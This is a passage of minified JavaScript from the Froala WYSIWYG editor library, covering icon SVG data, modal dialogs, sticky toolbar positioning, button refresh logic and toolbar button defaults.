33.558594 47.726562 33.398438 C 47.648438 33.238281 47.519531 33.078125 47.34375 32.917969 C 46.03125 31.808594 44.347656 31.257812 42.292969 31.257812 C 40.746094 31.257812 39.40625 31.574219 38.265625 32.207031 C 37.128906 32.84375 36.25 33.753906 35.632812 34.941406 C 35.011719 36.128906 34.703125 37.535156 34.703125 39.152344 C 34.703125 40.800781 35.011719 42.21875 35.632812 43.40625 C 36.25 44.597656 37.144531 45.503906 38.3125 46.132812 C 39.476562 46.757812 40.855469 47.070312 42.445312 47.070312 Z M 42.445312 47.070312 "/>\n </g>'},pdfIcon:{extension:".pdf",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.59375 25 L 39.4375 25 C 41.476562 25.003906 43.484375 25.472656 45.3125 26.375 L 45.3125 15.375 C 45.347656 14.191406 44.867188 13.054688 44 12.25 L 34.625 2.875 C 33.875 2.003906 32.773438 1.523438 31.625 1.5625 L 6.625 1.5625 C 5.589844 1.5625 4.75 2.402344 4.75 3.4375 L 4.75 26.375 C 6.566406 25.480469 8.566406 25.007812 10.59375 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.71875 L 42.15625 12.5 L 34.53125 12.5 C 34.480469 12.511719 34.425781 12.511719 34.375 12.5 Z M 6.25 25.71875 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.300781 13.980469 32.316406 15.253906 33.75 15.625 C 33.957031 15.675781 34.167969 15.675781 34.375 15.625 L 43.75 15.625 L 43.75 25.71875 C 44.859375 26.09375 45.910156 26.621094 46.875 27.28125 L 46.875 15.375 C 46.964844 13.722656 46.3125 12.117188 45.09375 11 L 35.71875 1.625 C 34.648438 0.523438 33.160156 -0.0664062 31.625 0 L 6.625 0 C 5.703125 -0.015625 4.8125 0.339844 4.152344 0.984375 C 3.496094 1.632812 3.125 2.515625 3.125 3.4375 L 3.125 27.28125 C 4.09375 26.625 5.144531 26.101562 6.25 25.71875 Z M 6.25 25.71875 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.625 28.125 C 6.335938 28.117188 4.136719 29.023438 2.515625 30.640625 C 0.898438 32.261719 -0.0078125 34.460938 0 36.75 L 0 41.375 C 0 46.136719 3.863281 50 8.625 50 L 41.375 50 C 46.132812 49.984375 49.984375 46.132812 50 41.375 L 50 36.75 C 50 31.988281 46.136719 28.125 41.375 28.125 Z M 8.625 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 14.40625 41.78125 L 12.09375 41.78125 L 12.09375 45.84375 C 12.003906 46.351562 11.5625 46.726562 11.046875 46.726562 C 10.53125 46.726562 10.089844 46.351562 10 45.84375 L 10 34.78125 C 10 34.210938 10.460938 33.75 11.03125 33.75 L 14.40625 33.75 C 15.925781 33.617188 17.390625 34.351562 18.191406 35.648438 C 18.992188 36.945312 18.992188 38.585938 18.191406 39.882812 C 17.390625 41.179688 15.925781 41.914062 14.40625 41.78125 Z M 12.09375 39.6875 L 14.40625 39.6875 C 15.152344 39.78125 15.882812 39.4375 16.289062 38.804688 C 16.691406 38.171875 16.691406 37.359375 16.289062 36.726562 C 15.882812 36.09375 15.152344 35.75 14.40625 35.84375 L 12.09375 35.84375 Z M 12.09375 39.6875 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 20.3125 45.84375 L 20.3125 34.78125 C 20.3125 34.210938 20.773438 33.75 21.34375 33.75 L 23.5625 33.75 C 27.1875 33.75 30.125 36.6875 30.125 40.3125 C 30.125 43.9375 27.1875 46.875 23.5625 46.875 L 21.34375 46.875 C 20.773438 46.875 20.3125 46.414062 20.3125 45.84375 Z M 22.40625 44.78125 L 23.5625 44.78125 C 26.03125 44.78125 28.03125 42.78125 28.03125 40.3125 C 28.03125 37.84375 26.03125 35.84375 23.5625 35.84375 L 22.40625 35.84375 Z M 22.40625 44.78125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 33.1875 45.84375 L 33.1875 34.78125 C 33.183594 34.476562 33.3125 34.1875 33.542969 33.992188 C 33.769531 33.792969 34.074219 33.703125 34.375 33.75 L 40.625 33.75 C 41.132812 33.839844 41.507812 34.28125 41.507812 34.796875 C 41.507812 35.3125 41.132812 35.753906 40.625 35.84375 L 35.25 35.84375 L 35.25 39.28125 L 39.625 39.28125 C 40.195312 39.28125 40.65625 39.742188 40.65625 40.3125 C 40.65625 40.882812 40.195312 41.34375 39.625 41.34375 L 35.25 41.34375 L 35.25 45.84375 C 35.257812 46.359375 34.882812 46.796875 34.375 46.875 C 34.074219 46.921875 33.769531 46.832031 33.542969 46.632812 C 33.3125 46.4375 33.183594 46.148438 33.1875 45.84375 Z M 33.1875 45.84375 "/>\n </g>'},defaultIcon:{extension:".default",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 3.117188 44.777344 C 1.394531 44.777344 0 43.386719 0 41.671875 L 0 3.484375 C 0 1.769531 1.394531 0.378906 3.117188 0.378906 L 25.792969 0.378906 C 27.164062 0.304688 28.5 0.808594 29.480469 1.765625 L 37.980469 10.230469 C 39.144531 11.242188 39.769531 12.730469 39.683594 14.265625 L 39.683594 41.671875 C 39.683594 43.386719 38.289062 44.777344 36.5625 44.777344 Z M 25.511719 3.203125 L 3.117188 3.203125 C 2.960938 3.203125 2.832031 3.328125 2.832031 3.484375 L 2.832031 41.671875 C 2.832031 41.828125 2.960938 41.957031 3.117188 41.957031 L 36.5625 41.957031 C 36.679688 41.949219 36.785156 41.867188 36.820312 41.757812 L 36.820312 14.492188 L 28.34375 14.492188 C 28.160156 14.539062 27.964844 14.539062 27.777344 14.492188 C 26.480469 14.15625 25.554688 13.007812 25.511719 11.671875 Z M 28.34375 4.640625 L 28.34375 11.671875 C 28.390625 11.683594 28.441406 11.683594 28.488281 11.671875 L 35.402344 11.671875 Z M 28.34375 4.640625 "/>\n </g>'}},Z.MODULES.modals=function(l){var a=l.$;l.shared.modals||(l.shared.modals={});var o,c=l.shared.modals;function e(){for(var e in c)if(Object.prototype.hasOwnProperty.call(c,e)){var t=c[e];t&&t.$modal&&t.$modal.removeData().remove()}o&&o.removeData().remove(),c={}}function s(e,t){if(c[e]){var n=c[e].$modal,r=n.data("instance")||l;r.events.enableBlur(),n.hide(),o.hide(),a(r.o_doc).find("body").first().removeClass("fr-prevent-scroll fr-mobile"),n.removeClass("fr-active"),t||(r.accessibility.restoreSelection(),r.events.trigger("modals.hide"))}}function n(e){var t;if("string"==typeof e){if(!c[e])return;t=c[e].$modal}else t=e;return t&&l.node.hasClass(t,"fr-active")&&l.core.sameInstance(t)||!1}return{_init:function t(){l.events.on("shared.destroy",e,!0)},get:function r(e){return c[e]},create:function d(n,e,t){if(e='<div class="fr-modal-head-line">'.concat(e,"</div>"),l.shared.$overlay||(l.shared.$overlay=a(l.doc.createElement("DIV")).addClass("fr-overlay"),a("body").first().append(l.shared.$overlay)),o=l.shared.$overlay,l.opts.theme&&o.addClass("".concat(l.opts.theme,"-theme")),!c[n]){var r=function i(e,t){var n='<div tabIndex="-1" class="fr-modal'.concat(l.opts.theme?" ".concat(l.opts.theme,"-theme"):"",'"><div class="fr-modal-wrapper">'),r='<button title="'.concat(l.language.translate("Cancel"),'" class="fr-command fr-btn fr-modal-close"><svg xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 24 24"><path d="').concat(Z.SVG.close,'"/></svg></button>');n+='<div class="fr-modal-head">'.concat(e).concat(r,"</div>"),n+='<div tabIndex="-1" class="fr-modal-body">'.concat(t,"</div>"),n+="</div></div>";var o=a(l.doc.createElement("DIV"));return o.html(n),o.find("> .fr-modal")}(e,t);c[n]={$modal:r,$head:r.find(".fr-modal-head"),$body:r.find(".fr-modal-body")},l.helpers.isMobile()||r.addClass("fr-desktop"),a("body").first().append(r),l.events.$on(r,"click",".fr-modal-close",function(){s(n)},!0),c[n].$body.css("margin-top",c[n].$head.outerHeight()),l.events.$on(r,"keydown",function(e){var t=e.which;return t===Z.KEYCODE.ESC?(s(n),l.accessibility.focusModalButton(r),!1):!(!a(e.currentTarget).is("input[type=text], textarea")&&t!==Z.KEYCODE.ARROW_UP&&t!==Z.KEYCODE.ARROW_DOWN&&!l.keys.isBrowserAction(e)&&(e.preventDefault(),e.stopPropagation(),1))},!0),s(n,!0)}return c[n]},show:function i(e){if(c[e]){var t=c[e].$modal;t.data("instance",l),t.show(),o.show(),a(l.o_doc).find("body").first().addClass("fr-prevent-scroll"),l.helpers.isMobile()&&a(l.o_doc).find("body").first().addClass("fr-mobile"),t.addClass("fr-active"),l.accessibility.focusModal(t)}},hide:s,resize:function f(e){if(c[e]){var t=c[e],n=t.$modal,r=t.$body,o=l.o_win.innerHeight,i=n.find(".fr-modal-wrapper"),a=o-i.outerHeight(!0)+(i.height()-(r.outerHeight(!0)-r.height())),s="auto";a<r.get(0).scrollHeight&&(s=a),r.height(s)}},isVisible:n,areVisible:function p(e){for(var t in c)if(Object.prototype.hasOwnProperty.call(c,t)&&n(t)&&(void 0===e||c[t].$modal.data("instance")===e))return c[t].$modal;return!1}}},Z.MODULES.position=function(L){var E=L.$;function o(){var e=L.selection.ranges(0),t=e.getBoundingClientRect();if(0===t.top&&0===t.left&&0===t.width||0===t.height){var n=!1,r=L.opts.toolbarInline&&e.startContainer&&e.startContainer.firstChild&&"BR"===e.startContainer.firstChild.tagName;0===L.$el.find(".fr-marker").length&&(r?E(e.startContainer.firstChild).after(Z.MARKERS):L.selection.save(),n=!0);var o=L.$el.find(".fr-marker").first();o.css("display","inline"),o.css("line-height","");var i=o.offset(),a=o.outerHeight();o.css("display","none"),o.css("line-height",0),(t={}).left=i&&i.left,t.width=0,t.height=a,t.top=i&&i.top-(L.helpers.isMobile()&&!L.helpers.isIOS()||L.opts.iframe?0:L.helpers.scrollTop()),t.right=1,t.bottom=1,t.ok=!0,n&&(r?L.$el.find(".fr-marker").remove():L.selection.restore())}return t}function i(e,t,n,r){var o=n.data("container");if(!o||"BODY"===o.get(0).tagName&&"static"===o.css("position")||(e&&(e-=o.offset().left),t&&(t-=o.offset().top),"BODY"!==o.get(0).tagName?(e&&(e+=o.get(0).scrollLeft),t&&(t+=o.get(0).scrollTop)):"absolute"===o.css("position")&&(e&&(e+=o.position().left),t&&(t+=o.position().top))),L.opts.iframe&&o&&L.$tb&&o.get(0)!==L.$tb.get(0)){var i=L.helpers.getPX(L.$wp.find(".fr-iframe").css("padding-top")),a=L.helpers.getPX(L.$wp.find(".fr-iframe").css("padding-left"));e&&(e+=L.$iframe.offset().left+a),t&&(t+=L.$iframe.offset().top+i)}var s=function l(e,t){var n=e.outerWidth(!0);return t+n>L.$sc.get(0).clientWidth-10&&(t=L.$sc.get(0).clientWidth-n-10),t<0&&(t=10),t}(n,e);e&&n.css("left",s),t&&n.css("top",function c(e,t,n){var r=e.outerHeight(!0);if(!L.helpers.isMobile()&&L.$tb&&e.parent().get(0)!==L.$tb.get(0)){var o=e.parent().offset().top,i=t-r-(n||0);e.parent().get(0)===L.$sc.get(0)&&(o-=e.parent().position().top);var a=L.$sc.get(0).clientHeight;o+t+r>L.$sc.offset().top+a&&0<e.parent().offset().top+i&&0<i?i>L.$wp.scrollTop()&&(t=i,e.addClass("fr-above")):e.removeClass("fr-above")}return t}(n,t,r))}function a(e){var n=E(e),t=n.is(".fr-sticky-on"),r=n.data("sticky-top"),o=n.data("sticky-scheduled");if(void 0===r){n.data("sticky-top",0);var i=E('<div class="fr-sticky-dummy" style="height: '.concat(n.outerHeight(),'px;"></div>'));L.$box.prepend(i)}else L.$box.find(".fr-sticky-dummy").css("height",n.outerHeight());if(L.core.hasFocus()||0<L.$tb.findVisible("input:focus").length){var a=L.helpers.scrollTop(),s=Math.min(Math.max(a-L.$tb.parent().offset().top,0),L.$tb.parent().outerHeight()-n.outerHeight());if(s!==r&&s!==o&&(clearTimeout(n.data("sticky-timeout")),n.data("sticky-scheduled",s),n.outerHeight()<a-L.$tb.parent().offset().top&&n.addClass("fr-opacity-0"),n.data("sticky-timeout",setTimeout(function(){var e=L.helpers.scrollTop(),t=Math.min(Math.max(e-L.$tb.parent().offset().top,0),L.$tb.parent().outerHeight()-n.outerHeight());0<t&&"BODY"===L.$tb.parent().get(0).tagName&&(t+=L.$tb.parent().position().top),t!==r&&(n.css("top",Math.max(t,0)),n.data("sticky-top",t),n.data("sticky-scheduled",t)),n.removeClass("fr-opacity-0")},100))),!t){var l=L.$tb.parent(),c=l.get(0).offsetWidth-l.get(0).clientWidth;n.css("top","0"),n.width(l.width()-c),n.addClass("fr-sticky-on"),L.$box.addClass("fr-sticky-box")}}else clearTimeout(E(e).css("sticky-timeout")),n.css("top","0"),n.css("position",""),n.css("width",""),n.data("sticky-top",0),n.removeClass("fr-sticky-on"),L.$box.removeClass("fr-sticky-box")}function t(e){if(e.offsetWidth){var t=E(e),n=t.outerHeight(),r=t.data("sticky-position"),o=E("body"===L.opts.scrollableContainer?L.o_win:L.opts.scrollableContainer).outerHeight(),i=0,a=0;"body"!==L.opts.scrollableContainer&&(i=L.$sc.offset().top,a=E(L.o_win).outerHeight()-i-o);var s="body"===L.opts.scrollableContainer?L.helpers.scrollTop():i,l=t.is(".fr-sticky-on");t.data("sticky-parent")||t.data("sticky-parent",t.parent());var c=t.data("sticky-parent"),d=c.offset().top,f=c.outerHeight();if(t.data("sticky-offset")?L.$box.find(".fr-sticky-dummy").css("height","".concat(n,"px")):(t.data("sticky-offset",!0),t.after('<div class="fr-sticky-dummy" style="height: '.concat(n,'px;"></div>'))),!r){var p="auto"!==t.css("top")||"auto"!==t.css("bottom");p||t.css("position","fixed"),r={top:L.node.hasClass(t.get(0),"fr-top"),bottom:L.node.hasClass(t.get(0),"fr-bottom")},p||t.css("position",""),t.data("sticky-position",r),t.data("top",L.node.hasClass(t.get(0),"fr-top")?t.css("top"):"auto"),t.data("bottom",L.node.hasClass(t.get(0),"fr-bottom")?t.css("bottom"):"auto")}var u=L.helpers.getPX(t.data("top")),h=L.helpers.getPX(t.data("bottom")),g=r.top&&function v(){return d<s+u&&s+u<=d+f-n}()&&(L.helpers.isInViewPort(L.$sc.get(0))||"body"===L.opts.scrollableContainer),C=r.bottom&&function b(){return d+n<s+o-h&&s+o-h<d+f}();if(g||C){var m=c.get(0).offsetWidth-c.get(0).clientWidth;t.css("width","".concat(c.get(0).getBoundingClientRect().width-m,"px")),l||(t.addClass("fr-sticky-on"),t.removeClass("fr-sticky-off"),t.css("top")&&("auto"!==t.data("top")?t.css("top",L.helpers.getPX(t.data("top"))+i):t.data("top","auto")),t.css("bottom")&&("auto"!==t.data("bottom")?t.css("bottom",L.helpers.getPX(t.data("bottom"))+a):t.css("bottom","auto")))}else L.node.hasClass(t.get(0),"fr-sticky-off")||(t.css("width",""),t.removeClass("fr-sticky-on"),t.addClass("fr-sticky-off"),t.css("top")&&"auto"!==t.data("top")&&r.top&&t.css("top",0),t.css("bottom")&&"auto"!==t.data("bottom")&&r.bottom&&t.css("bottom",0))}}function s(){if(L.helpers.requestAnimationFrame()(s),!1!==L.events.trigger("position.refresh"))for(var e=0;e<L._stickyElements.length;e++)if(L.opts.toolbarBottom){var t=L.$tb.parent(),n=t.get(0).offsetWidth-t.get(0).clientWidth,r=E(L._stickyElements[e]);r.width(t.width()-n),r.addClass("fr-sticky-on"),L.$box.addClass("fr-sticky-box")}else a(L._stickyElements[e])}function n(){if(L._stickyElements)for(var e=0;e<L._stickyElements.length;e++)t(L._stickyElements[e])}return{_init:function e(){!function t(){if(L._stickyElements=[],L.helpers.getIOSVersion()<=8)s(),L.events.$on(E(L.o_win),"scroll",function(){if(L.core.hasFocus())for(var e=0;e<L._stickyElements.length;e++){var t=E(L._stickyElements[e]),n=t.parent(),r=L.helpers.scrollTop();t.outerHeight()<r-n.offset().top&&(L.opts.toolbarBottom&&L.helpers.isIOS()||(t.addClass("fr-opacity-0"),t.data("sticky-top",-1),t.data("sticky-scheduled",-1)))}},!0);else{"body"!==L.opts.scrollableContainer&&L.events.$on(E(L.opts.scrollableContainer),"scroll",n,!0),L.events.$on(E(L.o_win),"scroll",n,!0),L.events.$on(E(L.o_win),"resize",n,!0),L.events.on("initialized",n),L.events.on("focus",n),L.events.$on(E(L.o_win),"resize","textarea",n,!0);var e=E(L.el).parents(".modal");e.get(0)&&L.events.$on(e,"scroll",n,!0)}L.events.on("destroy",function(){L._stickyElements=[]})}()},forSelection:function l(e){var t=o();if(t.top!=undefined){e.css({top:0,left:0});var n=t.top+t.height,r=t.left+t.width/2-e.get(0).offsetWidth/2+L.helpers.scrollLeft();L.opts.iframe||(n+=L.helpers.scrollTop()),i(r,n,e,t.height)}},addSticky:function r(e){e.addClass("fr-sticky"),L.helpers.isIOS()&&!L.opts.toolbarBottom&&e.addClass("fr-sticky-ios"),e.removeClass("fr-sticky"),L._stickyElements.push(e.get(0))},refresh:n,at:i,getBoundingRect:o}},Z.MODULES.refresh=function(l){var c=l.$;function i(e,t){e.toggleClass("fr-disabled",t).attr("aria-disabled",t)}function e(e){var t=l.$tb.find('.fr-more-toolbar[data-name="'.concat(e.attr("data-group-name"),'"]')),n=function s(e,t){var n=0,r=t.find("> .fr-command, > .fr-btn-wrap");r.each(function(e,t){n+=c(t).outerWidth()});var o,i=l.helpers.getPX(c(r[0]).css("margin-left")),a=l.helpers.getPX(c(r[0]).css("margin-right"));o="rtl"===l.opts.direction?l.$tb.outerWidth()-e.offset().left+l.$tb.offset().left-(n+e.outerWidth()+r.length*(i+a))/2:e.offset().left-l.$tb.offset().left-(n-e.outerWidth()+r.length*(i+a))/2;o+n+r.length*(i+a)>l.$tb.outerWidth()&&(o-=(n+r.length*(i+a)-e.outerWidth())/2);o<0&&(o=0);return o}(e,t);"rtl"===l.opts.direction?t.css("padding-right",n):t.css("padding-left",n)}return{undo:function t(e){i(e,!l.undo.canDo())},redo:function n(e){i(e,!l.undo.canRedo())},outdent:function a(e){if(l.node.hasClass(e.get(0),"fr-no-refresh"))return!1;if(c("button#markdown-".concat(l.id,".fr-active")).length)return!1;for(var t=l.selection.blocks(),n=0;n<t.length;n++){var r="rtl"===l.opts.direction||"rtl"===c(t[n]).css("direction")?"margin-right":"margin-left",o=t[0].parentElement;if(["HTML","P","DIV","UL","OL","LI","TR","BLOCKQUOTE","BODY"].indexOf(o.parentNode.tagName)<0)return i(e,!0),!0;if(t[0].previousSibling&&"none"==o.parentNode.style.listStyleType)return i(e,!0),!0;if("LI"===t[n].tagName||"LI"===t[n].parentNode.tagName)return i(e,!1),!0;if(0<l.helpers.getPX(c(t[n]).css(r))+l.helpers.getPX(c(t[n]).css("text-indent")))return i(e,!1),!0}i(e,!0)},indent:function o(e){if(l.node.hasClass(e.get(0),"fr-no-refresh"))return!1;if(c("button#markdown-".concat(l.id,".fr-active")).length)return!1;for(var t=l.selection.blocks(),n=0;n<t.length;n++){for(var r=t[n].previousSibling;r&&r.nodeType===Node.TEXT_NODE&&0===r.textContent.length;)r=r.previousSibling;if("LI"!==t[n].tagName||r)return i(e,!1),!0;i(e,!0)}},moreText:e,moreParagraph:e,moreMisc:e,moreRich:e}},Object.assign(Z.DEFAULTS,{attribution:!0,toolbarBottom:!1,toolbarButtons:null,toolbarButtonsXS:null,toolbarButtonsSM:null,toolbarButtonsMD:null,toolbarContainer:null,toolbarInline:!1,toolbarSticky:!0,toolbarStickyOffset:0,toolbarVisibleWithoutSelection:!1,toolbarResponsiveToEditor:!1}),Z.TOOLBAR_BUTTONS={moreText:{buttons:["bold","italic","underline","strikeThrough","subscript","superscript","fontFamily","fontSize","textColor","backgroundColor","inlineClass","inlineStyle","clearFormatting"]},moreParagraph:{buttons:["alignLeft","alignCenter","formatOLSimple","alignRight","alignJustify","formatOL","formatUL","paragraphFormat","paragraphStyle","lineHeight","outdent","indent","quote"]},moreRich:{buttons:["trackChanges","markdown","insertLink","insertFiles","insertImage","insertVideo","insertTable","emoticons","fontAwesome","specialCharacters","embedly","insertFile","insertHR","openFilePicker"],buttonsVisible:4},moreMisc:{buttons:["undo","redo","fullscreen","print","getPDF","spellChecker","selectAll","html","help"],align:"right",buttonsVisible:2},trackChanges:{buttons:["showChanges","applyAll","removeAll","applyLast","removeLast"],buttonsVisible:0}},Z.TOOLBAR_BUTTONS_MD=null,(Z.TOOLBAR_BUTTONS_SM={}).moreText=Object.assign({},Z.TOOLBAR_BUTTONS.moreText,{buttonsVisible:2}),Z.TOOLBAR_BUTTONS_SM.moreParagraph=Object.assign({},Z.TOOLBAR_BUTTONS.moreParagraph,{buttonsVisible:2}),Z.TOOLBAR_BUTTONS_SM.moreRich=Object.assign({},Z.TOOLBAR_BUTTONS.moreRich,{buttonsVisible:2}),Z.TOOLBAR_BUTTONS_SM.moreMisc=Object.assign({},Z.TOOLBAR_BUTTONS.moreMisc,{buttonsVisible:2}),Z.TOOLBAR_BUTTONS_SM.trackChanges=Object.assign({},Z.TOOLBAR_BUTTONS.trackChanges,{buttonsVisible:0}),(Z.TOOLBAR_BUTTONS_XS={}).moreText=Object.assign({},Z.TOOLBAR_BUTTONS.moreText,{buttonsVisible:0}),Z.TOOLBAR_BUTTONS_XS.moreParagraph=Object.assign({},Z.TOOLBAR_BUTTONS.moreParagraph,{buttonsVisible:0}),Z.TOOLBAR_BUTTONS_XS.moreRich=Object.assign({},Z.TOOLBAR_BUTTONS.moreRich,{buttonsVisible:0}),Z.TOOLBAR_BUTTONS_XS.moreMisc=Object.assign({},Z.TOOLBAR_BUTTONS.moreMisc,{buttonsVisible:2}),Z.TOOLBAR_BUTTONS_XS.trackChanges=Object.assign({},Z.TOOLBAR_BUTTONS.trackChanges,{buttonsVisible:0}),Z.POWERED_BY='<a id="fr-logo" href="https://froala.com/wysiwyg-editor" target="_blank" title="Froala WYSIWYG HTML Editor"><span>Powered by</span><svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 822.8 355.33"><defs><style>.fr-logo{fill:#b1b2b7;}</style></defs><title>Froala</title><path class="fr-logo" d="M123.58,78.65A16.16,16.16,0,0,0,111.13,73H16.6C7.6,73,0,80.78,0,89.94V128.3a16.45,16.45,0,0,0,32.9,0V104.14h78.5A15.63,15.63,0,0,0,126.87,91.2,15.14,15.14,0,0,0,123.58,78.65Z"/><path class="fr-logo" d="M103.54,170a16.05,16.05,0,0,0-11.44-4.85H15.79A15.81,15.81,0,0,0,0,180.93v88.69a16.88,16.88,0,0,0,5,11.92,16,16,0,0,0,11.35,4.7h.17a16.45,16.45,0,0,0,16.41-16.6v-73.4H92.2A15.61,15.61,0,0,0,107.89,181,15.1,15.1,0,0,0,103.54,170Z"/><path class="fr-logo" d="M233,144.17c-5.29-6.22-16-7.52-24.14-7.52-16.68,0-28.72,7.71-36.5,23.47v-5.67a16.15,16.15,0,1,0-32.3,0v115.5a16.15,16.15,0,1,0,32.3,0v-38.7c0-19.09,3.5-63.5,35.9-63.5a44.73,44.73,0,0,1,5.95.27h.12c12.79,1.2,20.06-2.73,21.6-11.69C236.76,151.48,235.78,147.39,233,144.17Z"/><path class="fr-logo" d="M371.83,157c-13.93-13.11-32.9-20.33-53.43-20.33S279,143.86,265.12,157c-14.67,13.88-22.42,32.82-22.42,54.77,0,21.68,8,41.28,22.4,55.2,13.92,13.41,32.85,20.8,53.3,20.8s39.44-7.38,53.44-20.79c14.55-13.94,22.56-33.54,22.56-55.21S386.39,170.67,371.83,157Zm-9.73,54.77c0,25.84-18.38,44.6-43.7,44.6s-43.7-18.76-43.7-44.6c0-25.15,18.38-43.4,43.7-43.4S362.1,186.59,362.1,211.74Z"/><path class="fr-logo" d="M552.7,138.14a16.17,16.17,0,0,0-16,16.3v1C526.41,143.85,509,136.64,490,136.64c-19.83,0-38.19,7.24-51.69,20.4C424,171,416.4,190,416.4,212c0,21.61,7.78,41.16,21.9,55,13.56,13.33,31.92,20.67,51.7,20.67,18.83,0,36.29-7.41,46.7-19.37v1.57a16.15,16.15,0,1,0,32.3,0V154.44A16.32,16.32,0,0,0,552.7,138.14Zm-16.3,73.6c0,30.44-22.81,44.3-44,44.3-24.57,0-43.1-19-43.1-44.3s18.13-43.4,43.1-43.4C513.73,168.34,536.4,183.55,536.4,211.74Z"/><path class="fr-logo" d="M623.5,61.94a16.17,16.17,0,0,0-16,16.3v191.7a16.15,16.15,0,1,0,32.3,0V78.24A16.32,16.32,0,0,0,623.5,61.94Z"/><path class="fr-logo" d="M806.5,138.14a16.17,16.17,0,0,0-16,16.3v1c-10.29-11.63-27.74-18.84-46.7-18.84-19.83,0-38.19,7.24-51.69,20.4-14.33,14-21.91,33-21.91,55,0,21.61,7.78,41.16,21.9,55,13.56,13.33,31.92,20.67,51.7,20.67,18.83,0,36.29-7.41,46.7-19.37v1.57a16.15,16.15,0,1,0,32.3,0V154.44A16.32,16.32,0,0,0,806.5,138.14Zm-16.3,73.6c0,30.44-22.81,44.3-44,44.3-24.57,0-43.1-19-43.1-44.3s18.13-43.4,43.1-43.4C767.53,168.34,790.2,183.55,790.2,211.74Z"/></svg></a>',Z.MODULES.toolbar=function(E){var y=E.$;function e(e){if(-1<E.opts.pluginsEnabled.indexOf("filestack")&&E.opts.filestackOptions&&E.opts.filestackOptions.uploadToFilestackOnly){var t,n=JSON.parse(JSON.stringify(e)),r=n.moreRich&&n.moreRich.buttons&&n.moreRich.buttons.includes("openFilePicker"),o=n.moreRich&&n.moreRich.buttons&&n.moreRich.buttons.includes("insertFile"),i=n.moreRich&&n.moreRich.buttons&&n.moreRich.buttons.includes("insertFiles");r?(-1!==(t=n.moreRich&&n.moreRich.buttons&&n.moreRich.buttons.findIndex(function(e){return"insertFile"===e}))&&n.moreRich.buttons.splice(t,1),-1!==(t=n.moreRich&&n.moreRich.buttons&&n.moreRich.buttons.findIndex(function(e){return"insertFiles"===e}))&&n.moreRich.buttons.splice(t,1)):o&&i&&-1!==(t=n.moreRich&&n.moreRich.buttons&&n.moreRich.buttons.findIndex(function(e){return"insertFiles"===e}))&&n.moreRich.buttons.splice(t,1);var a=n.moreRich&&n.moreRich.buttons&&n.moreRich.buttons.findIndex(function(e){return"insertImage"===e});-1<a&&null!==a&&(n.moreRich.buttons[a]="openFilePickerImageOnly");var s=n.moreRich&&n.moreRich.buttons&&n.moreRich.buttons.findIndex(function(e){return"insertVideo"===e});return-1<s&&null!==s&&(n.moreRich.buttons[s]="openFilePickerVideoOnly"),n}return e}var S,t=[];function n(e){var n={};if(Array.isArray(e)){if(!Array.isArray(e[0])){for(var t=[],r=[],o=0;o<e.length;o++)"|"===e[o]||"-"===e[o]?(0<r.length&&t.push(r),r=[]):r.push(e[o]);0<r.length&&t.push(r),e=t}e.forEach(function(e,t){n["group".concat(t+1)]={buttons:e}}),n.showMoreButtons=!1}else"object"!==x(e)||Array.isArray(e)||((n=e).showMoreButtons=!0);return n}function N(){var e=E.helpers.screenSize(E.opts.toolbarResponsiveToEditor);return t[S=e]}function T(){for(var d=E.$tb.find(".fr-more-toolbar"),f=function f(){var e=y(d[p]);if(e.hasClass("fr-expanded")){var n=E.helpers.getPX(e.css("padding-left")),t=e.find("> .fr-command, > .fr-btn-wrap"),r=y(t[0]),o=E.helpers.getPX(r.css("margin-left")),i=E.helpers.getPX(r.css("margin-right")),a=E.helpers.getPX(r.css("margin-top")),s=E.helpers.getPX(r.css("margin-bottom"));if(t.each(function(e,t){n+=y(t).outerWidth()+o+i}),E.$tb.outerWidth()<n){var l=Math.floor(n/E.$tb.outerWidth());n+=l*(n/e[0].childElementCount),l=Math.ceil(n/E.$tb.outerWidth());var c=(E.helpers.getPX(r.css("height"))+a+s)*l;e.css("height",c)}}else e.css("height","")},p=0;p<d.length;p++)f();!E.helpers.isMobile()&&E.opts.toolbarBottom?E.$tb.find(".fr-toolbar .fr-more-toolbar").removeClass("position-relative"):E.$tb.find(".fr-toolbar .fr-more-toolbar").addClass("position-relative")}function o(){if(0==E.$tb.find("[data-name='trackChanges-".concat(E.id,"']")).length&&-1<E.opts.pluginsEnabled.indexOf("track_changes")){E.$tb.append(y('<div class="fr-more-toolbar"></div>').data("name","trackChanges-".concat(E.id)));for(var e=0,t=["showChanges","applyAll","removeAll","applyLast","removeLast"];e<t.length;e++){var n=t[e],r=Z.COMMANDS[n];if(r){r.more_btn=!0;var o=y(E.button.build(n,r,!0));E.button.addButtons(o),E.$tb.find("[data-name='trackChanges-".concat(E.id,"']")).append(o)}}}if(S!==E.helpers.screenSize(E.opts.toolbarResponsiveToEditor)){var i=N(),a=y(),s=y();for(var l in E.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command, .fr-btn-grp > .fr-btn-wrap > .fr-command, .fr-more-toolbar > .fr-btn-wrap > .fr-command").addClass("fr-hidden"),function L(){for(var e=E.$tb.find(".fr-btn-grp, .fr-more-toolbar"),t=function t(){var n=y(e[r]);n.children().each(function(e,t){n.before(t)}),n.remove()},r=0;r<e.length;r++)t()}(),E.$tb.find(".fr-separator.fr-vs, .fr-separator.fr-hs").remove(),i){var c=i[l];if(c.buttons&&("trackChanges"!==l||-1!==E.opts.pluginsEnabled.indexOf("track_changes"))){var d=void 0,f=0,p=3,u=void 0;"trackChanges"!==l&&(u=y('<div class="fr-btn-grp 